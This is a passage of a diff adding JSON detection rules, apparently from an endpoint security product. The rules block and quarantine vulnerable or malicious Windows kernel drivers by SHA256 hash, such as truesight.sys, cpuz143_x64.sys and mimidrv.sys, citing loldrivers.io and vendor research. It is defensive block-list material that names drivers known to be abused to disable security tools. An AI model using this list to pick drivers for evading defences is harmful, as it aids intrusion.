+  "last_update": "2026-03-23T11:45:30.832151Z",
+  "creation_date": "2026-03-23T11:45:30.832153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0a07bf1777e2b8c94226af8b9acdfff7f8719c59262c9fc1bd4805ee40c2b1b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "668cd0d3-d1aa-5c2c-bd04-2912f66ea7b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146322Z",
+  "creation_date": "2026-03-23T11:45:32.146324Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146330Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bfcbc010432a89714349bd487555cec1ab5299a70f533a16d326a69e15e0c203",
+  "comment": "Malicious Kernel Driver (aka driver_bfcbc010.sys) [https://www.loldrivers.io/drivers/dbfcce10-76a3-44a4-a9b8-d7126152a235/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "669024a2-67cd-54e5-b511-d8e03fe8efa5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611252Z",
+  "creation_date": "2026-03-23T11:45:29.611254Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611260Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55a69f740a77fc07073c3d077d029dfb2dbe4b673171167e7310bd857eb55982",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66b4d0ed-270e-5798-a395-d7ec926c7de5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149727Z",
+  "creation_date": "2026-03-23T11:45:31.149731Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149739Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24859bbd60d50a2d8d374aa9becbd98184d542a5c78cef21be027895e663aeba",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66b5801f-5d2c-5de7-a855-9311cae2e699",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620620Z",
+  "creation_date": "2026-03-23T11:45:29.620622Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620628Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ee292b605cd3751a24e5949aae615d472a3c72688632c3040dc311055b75a92",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66b653b9-79b7-5d84-ab2f-6080b7316435",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604319Z",
+  "creation_date": "2026-03-23T11:45:29.604321Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604326Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9fb474b921371c4679582df8484932b832345693de94e3c4a158638b4d75a19c",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66bc2424-1c5f-5217-b316-f6d66f8b974c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488742Z",
+  "creation_date": "2026-03-23T11:45:31.488744Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488749Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "069daefa61c2c3cc1a2cc2cef5eff2434b7782ad31a575d0ffdf3f54fd5f54bf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66c6ae36-66da-5240-9a6c-465c9d04263e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155362Z",
+  "creation_date": "2026-03-23T11:45:31.155364Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155370Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15f15f3c86a787804c532e1a17473b2397b1456109f7b927b0d0f3ba2f1af95b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66e34cf2-0695-58a8-b160-4c397985c0db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499749Z",
+  "creation_date": "2026-03-23T11:45:31.499752Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff7dd4ca5a70cb984d5445d754f3fd252d82acd7aee23bc9539b3f09bad49184",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66e3933c-f20e-56e4-8321-55a62c7ce551",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499802Z",
+  "creation_date": "2026-03-23T11:45:31.499805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499813Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80de49749d304bf445e1f8f0710b1a2e85580e1ab153194819edeb9c790b6c95",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66e658b1-6b53-50cc-a0f1-5c7b68618490",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610228Z",
+  "creation_date": "2026-03-23T11:45:29.610230Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610235Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7ebf97a50828f00d7e70140aff5ece77c1eb728be0d9bfceccbebd14b958271",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66e8e828-f542-59b6-bbb8-74cef653b951",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818990Z",
+  "creation_date": "2026-03-23T11:45:31.818993Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819001Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9912bc91b85aba24ac99e16550ed7002a44a8f935276da02ce0a7c8f0ed828e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66eed7d0-6044-5e52-a1a6-9bb602986e7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823553Z",
+  "creation_date": "2026-03-23T11:45:31.823556Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823564Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2969fa0c80f89b7d56ddc48c7095b298e2e2a1d24b8512b401b97506a3ef619c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66febed4-a11a-5228-9284-8ce79761b7cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606960Z",
+  "creation_date": "2026-03-23T11:45:29.606962Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606967Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17bdeeb4447f0758c3720991d3ed43a405efb49fd2cdbb37f7b5feb349693acb",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66ff1fe5-a896-5598-8962-27958f608e1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979516Z",
+  "creation_date": "2026-03-23T11:45:29.979518Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979523Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea50f22daade04d3ca06dedb497b905215cba31aae7b4cab4b533fda0c5be620",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "66ffccf1-4643-56a0-92ef-76af01ce12a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465397Z",
+  "creation_date": "2026-03-23T11:45:30.465400Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465409Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62764ddc2dce74f2620cd2efd97a2950f50c8ac5a1f2c1af00dc5912d52f6920",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67070c69-11bb-5b03-8b70-0db3933a6baf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142969Z",
+  "creation_date": "2026-03-23T11:45:32.142971Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142977Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d253561067550539a9aca8884846432116fac5eee9948f2c5bdce7cf61985b7d",
+  "comment": "Vulnerable Filseclab Driver (aka fildds.sys, filnk.sys and filwfp.sys) [https://twitter.com/SophosXOps/status/1764933865574207677] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "670c55f0-9ef5-5344-8354-14ba5b9387c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140800Z",
+  "creation_date": "2026-03-23T11:45:31.140802Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140808Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81bb50d82e7a8524e86aaa97be12a21d697fdb3232891cbd5c3cf6d559355cfa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6712a352-3166-554e-9201-38b568359ad0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152494Z",
+  "creation_date": "2026-03-23T11:45:31.152497Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152505Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31b740adf90543537cdcd20dc600cd9741ecaaa0c3b8e886e6b2abdca4e2c8ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6729f487-410e-52b4-9fe3-57b729f979d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821601Z",
+  "creation_date": "2026-03-23T11:45:31.821603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821609Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a3ac9361f7af572bc159f0c0abd860012eae7b5cfb2d884d2ad3126217241cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "672af660-b0a3-5472-9a65-cf590cadb0eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606706Z",
+  "creation_date": "2026-03-23T11:45:29.606708Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606713Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c2be8539dab5df7574557c5946862ad15e44b1659db96b9ec4a8a7ec43636ce",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "672f6010-ae93-585e-bd71-f1e8a6c575e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814040Z",
+  "creation_date": "2026-03-23T11:45:31.814043Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814051Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "695aaf49d9179944f8aeb9fe09cfe73ee690224a9fb569a81fe42872cbf893ae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "673bf240-4878-5a1a-ab0a-64e08550949e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817197Z",
+  "creation_date": "2026-03-23T11:45:30.817199Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817204Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
